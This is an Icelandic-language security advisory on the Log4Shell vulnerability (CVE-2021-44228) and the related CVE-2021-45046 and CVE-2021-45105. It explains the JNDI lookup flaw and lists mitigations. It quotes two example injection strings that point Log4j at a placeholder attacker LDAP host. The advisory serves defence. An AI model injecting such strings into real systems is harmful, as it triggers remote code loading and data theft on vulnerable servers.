Leiðbeiningar vegna Log4Shell, CVE-2021-44228 - Alvarlegur veikleiki í Log4j kóðasafninu

13. desember 2021

*Uppfært 20. desember

  • CVE-2021-45046 breytist úr CVSS 3.7 í 9 vegna RCE/LCE möguleika
  • Ný útgáfa (2.17.0) komin út til að lagfæra CVE-2021-45105 (CVSS 7.5)

*Uppfært 15. desember

  • Mótvægis aðgerðir nefndar af Apache stofnuninni breyttar
  • Ný útgáfa (2.16.0) komin út til að lagfæra CVE-2021-45046 (CVSS 3.7)


Veikleikinn í Log4j kóðasafninu sem er einnig þekktur sem Log4Shell eða CVE-2021-44228, fékk CVSSv3 stigið 10 af 10 mögulegum [1] og er því alvarlegur veikleiki. Log4shell veikleikinn leyfir keyrslu spillikóða á búnaði eða gagnastuld. 

Log4j er í víðtækri notkun í hug- og tækjabúnaði til að sjá um utanumhald sögu yfir ýmsa atburði sem hafa átt sér stað í viðkomandi kerfum/hugbúnaði.

Veikleikinn sjálfur á sér stað vegna „lookup“ skipana í Java Naming and Directory Interface (JNDI) sem lesnar eru innan úr ${...} í log færslum. Þessar lookup skipanir gera árásaraðilum kleift að láta Log4j hafa samband út á við ef strengurinn kemur fyrir í log skrám.
 
Mörg dæmi eru um notkun á þessum veikleika víðsvegar á netinu og er ein útgáfa að senda inn strenginn
$ {jndi:ldap://attackerip/example} þar sem talið er að strengurinn verður skráður niður í log skrár.

Útgáfur sem þetta hefur áhrif á eru frá 2.0-beta9 til og með 2.14.1 [1].

Huga þarf að því ef innsláttur notenda er sendur úr einu kerfi í annað að það sé ekki heldur með Log4j veikleikann. Dæmi væri ytra kerfi sem tekur við upplýsingum, en skráir þær í innri log þjón, þá gæti það innra kerfi fara að reyna að hafa samband út á við ef það túlkar t.d. strenginn $ {jndi:ldap://attacker.ip/exploit} í log skrám.

Hægt er að nálgast lista yfir hugbúnað sem búið eða er verið að kanna á vegum NCSC-NL í [2] og CISA í [7]. Listar eru ekki tæmandi.

Eftirfarandi skýringarmynd frá GovCERT.ch lýsir þessum veikleika almennt og hvað er hægt að gera til mótvægis.

log4j_JNDI_attack

Mótvægisaðgerðir

Besta leiðin er að uppfæra Log4j í nýjustu útgáfuna (sem stendur 2.17.0) sem kemur í veg fyrir veikleikann og breytir sjálfgefnum stillingum til að afvirkja JNDI. En einnig þarf að hafa í huga að hugbúnaður eða tækjabúnaður getur verið að reiða sig á veikar Log4j útgáfur og mun þurfa á uppfærslu að halda.

Apache stofnunin hefur einnig gefið út tillögu fyrir því ef ekki er hægt að uppfæra [1].

  • Eyða út klasanum (skránni) sem meðhöndlar JNDI virknina úr .jar skránni fyrir Log4j. Það er gert með því að opna log4j-core-*.jar skrárnar með ZIP forriti og eyða út org/apache/logging/log4j/core/lookup/JndiLookup.class.
  • Hentug skipun sem hægt er að nýta á Linux: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class (keyrt þar sem .jar skrárnar eru fyrir Log4j)
  • Áður nefndar mótvægis aðgerðir er varðar að setja umhverfisbreytuna LOG4J_FORMAT_MSG_NO_LOOKUPS eða að keyra Java forrit með log4j2.formatMsgNoLookups sem „true“ náðu ekki yfir öll tilvik eins og áður var talið.
Einnig er hægt að leita eftir log4j-core*.jar frá rótarskrá búnaðar/drifa, þá finnst kóðasafnið oft. Hins vegar getur það samt verið til staðar þó að ekkert finnist með þessari aðferð. Aðeins log4j-core JAR skrár eru veikar fyrir þessum veikleika, ekki log4j-api samkvæmt [1].
 
Mælt er með að fylgjast með tilkynningum frá framleiðendum hug- og tækjabúnaðar sem notað er og hafa samband við þá ef vafi liggur á því hvort notast er á við Log4j.

Hægt er að setja síur í eldveggi sem leita sérstaklega af viðeigandi strengjum úr fyrrnefndu dæmi en vitað er um margar aðferðir til að hylja strenginn sem er keyrður, sjá má dæmi og lista af tilvísunum í önnur dæmi í [3].

Takmarkanir á umferð út frá vélinni sem hýsir Log4j getur einnig hjálpað til við að koma í veg fyrir að náð er í kóða utan að frá og komið fyrir á vél. Þó ber að nefna að vitað er um aðferðir til að öðlast upplýsingar frá búnaði sem er að nota veika útgáfu af Log4j í gegnum t.d. DNS ef ekki er náð að tengjast beint út á við með því að láta Log4j gera DNS fyrirspurnir til DNS þjóna sem árásaraðili hefur stjórn á og senda þar út t.d. umhverfisbreytur sem DNS uppflettingu, sjá lið 8 í [4].
 
NCSC-NL hefur tekið saman lista af söfnum af spillivísum (indicators-of-compromise) sem tengjast Log4Shell og er að finna í [5].

Athugasemdir vegna CVE-2021-45046

Uppfærslan á 2.15.0 var ekki fullnægileg fyrir ákveðnar (ekki sjálfgefnar) stillingar þar sem sent er ákveðna tegund af streng sem getur valdið álagsárás (DoS), þessi veikleiki fékk upphaflega CVSS einkunnina 3.7, seinna kom í ljós að veikleikinn var alvarlegri en upphaflega var talið.

Hægt er í umhverfum með ákveðnar, ekki sjálfgefnar stillingar að keyra spillikóða á búnaði eða valda gagnaleka í gegnum netið, þetta hefur verið staðfest í macOS (e. Remote Code Execution, RCE). Fyrir önnur umhverfi sem stendur er aðeins vitað að hægt er að gera það ef óprúttni aðilinn er á sama staðarneti og búnaðurinn (e. Local Code Execution, LCE). Sjá nánar í [1].

Þar með var hækkað CVSS einkunnina úr 3.7 upp í 9. Þennan veikleika var lagað í útgáfu 2.16.0 (Java 8+) og 2.12.2 (Java 7).

Athugasemdir vegna CVE-2021-45105

Í útgáfum 2.0-beta9 til 2.16.0 sem eru með ákveðnar (ekki sjálfgefnar) stillingar er hægt að valda sjálfkvaðningu (e. recursion) með illgjörnum streng sem veldur StackOverflowError sem endar ferlið og veldur álagsárás (DoS). Þessi veikleiki hefur CVSS einkunnina 7.5 og var lagaður í útgáfu 2.17.0. Sjá nánar í [1].

[1] https://logging.apache.org/log4j/2.x/security.html
[2] https://github.com/NCSC-NL/log4shell/tree/main/software
[3] https://github.com/NCSC-NL/log4shell/tree/main/mitigation
[4] https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/
[5] https://github.com/NCSC-NL/log4shell/tree/main/iocs
[6] https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png

[7] https://github.com/cisagov/log4j-affected-db

Til baka